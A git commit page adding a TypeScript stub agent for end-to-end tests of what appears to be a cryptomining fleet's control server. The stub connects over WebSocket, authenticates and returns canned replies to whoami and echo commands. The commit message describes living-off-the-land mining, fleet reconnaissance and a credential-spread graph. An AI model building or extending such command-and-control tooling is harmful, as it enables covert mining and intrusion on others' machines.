Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
108
server/web/e2e/stub-agent.ts
Normal file
108
server/web/e2e/stub-agent.ts
Normal file
@@ -0,0 +1,108 @@
|
||||
/**
|
||||
* Minimal WebSocket agent for Playwright E2E against a live miner-server.
|
||||
* Mirrors server/internal/api/integration_test.go connectAgentViaRouter flow.
|
||||
*/
|
||||
|
||||
export const E2E_STUB_AGENT_ID = 'e2e-crucible-agent';
|
||||
export const E2E_STUB_AGENT_HOSTNAME = 'E2E-Crucible-Host';
|
||||
export const E2E_WHOAMI_RESPONSE = 'e2e-whoami-ok';
|
||||
|
||||
type HubMessage = {
|
||||
type: string;
|
||||
payload: string | Record<string, unknown>;
|
||||
};
|
||||
|
||||
function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
|
||||
if (typeof payload === 'string') {
|
||||
return JSON.parse(payload) as Record<string, unknown>;
|
||||
}
|
||||
return payload;
|
||||
}
|
||||
|
||||
function wsAgentUrl(baseUrl: string): string {
|
||||
const trimmed = baseUrl.replace(/\/$/, '');
|
||||
return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
|
||||
}
|
||||
|
||||
function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
|
||||
ws.send(JSON.stringify({ type, payload }));
|
||||
}
|
||||
|
||||
function replyCommand(ws: WebSocket, action: string, command: string): void {
|
||||
let message = 'e2e-stub-ok';
|
||||
if (action === 'resume') {
|
||||
message = 'mining resumed';
|
||||
} else if (command.trim().toLowerCase() === 'whoami') {
|
||||
message = E2E_WHOAMI_RESPONSE;
|
||||
} else if (command.trim().toLowerCase().startsWith('echo ')) {
|
||||
message = command.trim().slice(5);
|
||||
}
|
||||
send(ws, 'command_result', { action, success: true, message });
|
||||
}
|
||||
|
||||
/**
|
||||
* Connect a stub agent that answers exec/powershell commands on the live server.
|
||||
* Returns a cleanup function that closes the socket.
|
||||
*/
|
||||
export async function connectStubAgent(
|
||||
baseUrl: string,
|
||||
fleetSecret = '',
|
||||
): Promise<() => void> {
|
||||
const ws = new WebSocket(wsAgentUrl(baseUrl));
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('stub agent ws open timeout')), 10_000);
|
||||
ws.addEventListener('open', () => {
|
||||
clearTimeout(timer);
|
||||
resolve();
|
||||
}, { once: true });
|
||||
ws.addEventListener('error', () => {
|
||||
clearTimeout(timer);
|
||||
reject(new Error('stub agent ws connection failed'));
|
||||
}, { once: true });
|
||||
});
|
||||
|
||||
send(ws, 'auth', {
|
||||
agent_id: E2E_STUB_AGENT_ID,
|
||||
fleet_secret: fleetSecret,
|
||||
hostname: E2E_STUB_AGENT_HOSTNAME,
|
||||
version: '1.0.0-e2e',
|
||||
platform: 'windows',
|
||||
arch: 'amd64',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 10_000);
|
||||
ws.addEventListener('message', (ev) => {
|
||||
const msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||
if (msg.type !== 'auth_response') return;
|
||||
clearTimeout(timer);
|
||||
const body = parsePayload(msg.payload);
|
||||
if (body.success !== true) {
|
||||
reject(new Error(`stub agent auth rejected: ${JSON.stringify(body)}`));
|
||||
return;
|
||||
}
|
||||
resolve();
|
||||
}, { once: true });
|
||||
});
|
||||
|
||||
ws.addEventListener('message', (ev) => {
|
||||
let msg: HubMessage;
|
||||
try {
|
||||
msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
if (msg.type !== 'command') return;
|
||||
const payload = parsePayload(msg.payload);
|
||||
const action = String(payload.action ?? '');
|
||||
const command = String(payload.command ?? '');
|
||||
replyCommand(ws, action, command);
|
||||
});
|
||||
|
||||
return () => {
|
||||
ws.close();
|
||||
};
|
||||
}
|
||||
Reference in New Issue
Block a user